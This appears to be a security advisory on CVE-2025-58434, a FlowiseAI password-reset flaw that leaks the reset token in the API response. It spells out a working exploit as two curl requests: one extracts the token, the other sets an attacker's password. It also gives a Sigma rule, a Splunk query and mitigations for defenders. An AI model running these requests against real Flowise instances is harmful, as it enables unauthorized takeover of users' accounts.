Skip to content

CVE-2025-58434: FlowiseAI Unauthenticated Full Account Takeover

CVE-2025-58434 exposes a fundamental failure in the secure handling of sensitive tokens within FlowiseAI. The vulnerability allows a remote, unauthenticated attacker to change the password of any user account, leading to a complete account takeover (ATO).

The flaw is characterized by the server’s decision to include the secret tempToken in the API response body. In a secure implementation, this token should only be transmitted via a secure, out-of-band channel, such as a verified email address. By bypassing the need for email access, an attacker can automate the takeover of all users on a target instance.

The vulnerability is a direct result of Insecure Direct Object Exposure and improper information disclosure. The failure occurs during the password recovery workflow, where the server fails to keep the authentication token secret.

The exploitation follows a linear and predictable path through the API: Unauthenticated Request/api/v1/account/forgot-passwordUser Lookup by EmailToken GenerationAPI Response.

At the final stage, the backend includes the generated tempToken in the JSON response. This allows the attacker to obtain the necessary credential to authorize a password change without ever possessing the victim’s email credentials.

The attack leverages two specific endpoints in a sequential chain:

  1. Token Leakage: /api/v1/account/forgot-password — This endpoint accepts an email and returns the secret token.
  2. Credential Modification: /api/v1/account/reset-password — This endpoint accepts the leaked token and a new password to finalize the takeover.

The exploit is highly reliable and requires no user interaction.

  1. Token Extraction: The attacker sends a POST request to the forgot-password endpoint using the target email. curl -i -X POST https://<target>/api/v1/account/forgot-password -H "Content-Type: application/json" -d '{"user":{"email":"victim@example.com"}}'
  2. Token Identification: The attacker parses the JSON response to extract the tempToken value.
  3. Account Hijacking: The attacker submits a POST request to the reset-password endpoint, combining the victim’s email, the stolen token, and a new password. curl -i -X POST https://<target>/api/v1/account/reset-password -H "Content-Type: application/json" -d '{"user":{"email":"victim@example.com", "tempToken":"<extracted-token>", "password":"AttackerPassword123!"}}'
  4. Verification: The attacker logs in with the new password and gains full control of the account.

Detecting this attack requires analyzing API traffic patterns, as the attack does not rely on traditional malware or complex payloads.

Forensic analysts should look for the following behavioral fingerprints in the web server logs:

  • Sequencing: A POST request to /api/v1/account/forgot-password immediately followed by a POST to /api/v1/account/reset-password from the same source IP address.
  • Response Codes: A 201 Created response for the forgot-password request, indicating a token was successfully generated and leaked.
  • Timing: Extremely short intervals between the token request and the password change, which is atypical for a human user checking their email.

A compromise can be confirmed by inspecting the user database:

  • Credential Update: An unexpected change in the password hash (credential column) for a user.
  • Token Lifecycle: Evidence of a tempToken being generated and then immediately marked as used or expired within seconds.

The following rule detects the initial phase of the account takeover attempt.

title: FlowiseAI Unauthenticated Account Takeover Attempt
id: 2025-58434-flowise-ato
description: Detects potential account takeover attempts via the CVE-2025-58434 password reset flaw.
logsource:
category: http_server
detection:
selection:
url|contains: '/api/v1/account/forgot-password'
method: 'POST'
condition: selection
level: high

To identify attackers scanning for multiple accounts: index=web_logs method="POST" uri="/api/v1/account/forgot-password" | stats count by src_ip, uri_path Focus on source IPs that trigger this endpoint multiple times for different users in a short timeframe.

Immediate patching of FlowiseAI to the latest version is mandatory.

API Correction

Ensure that the password reset token is NEVER returned in the API response body and is only delivered via secure email.

Rate Limiting

Implement strict rate limiting on the /forgot-password endpoint to prevent mass enumeration of tokens.

Monitoring

Alert on rapid transitions from password reset request to password update from the same IP.